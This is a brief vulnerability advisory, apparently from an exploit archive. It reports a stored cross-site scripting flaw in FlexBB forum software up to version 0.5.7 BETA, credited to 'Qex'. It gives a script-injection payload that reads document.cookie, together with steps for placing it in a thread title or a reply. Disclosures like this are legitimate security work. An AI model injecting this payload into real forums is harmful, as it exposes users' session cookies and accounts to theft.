FlexBB versions less than or equal to 0.5.7 suffer from XSS.
c7f749cf197ced4ebbebbd823982bb44bd4c87592ec62c493d7acf2dc9b9d4a1
FlexBB <= 0.5.7 BETA XSS
Start a new thread and type this in the thread name field box :-
'><script>alert(document.cookie)</script>
Or post a reply to any topic and include this in your reply :-
'><script>alert(document.cookie)</script>
Found By:
Qex